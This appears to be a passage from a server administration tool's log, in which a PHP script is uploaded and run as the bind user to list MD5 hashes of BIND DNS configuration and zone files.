MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 19:22:25: Establishing a connection
2026-04-25 19:22:25: 

PUT: /tmp/pkp590011

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 19:22:25: 

runuser -l bind -s /bin/bash -c '/tmp/pkp590011; rm /tmp/pkp590011'

2026-04-25 19:22:25: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 19:22:44: Establishing a connection
2026-04-25 19:22:44: 

PUT: /tmp/pkp767191

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 19:22:44: 

runuser -l bind -s /bin/bash -c '/tmp/pkp767191; rm /tmp/pkp767191'

2026-04-25 19:22:45: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
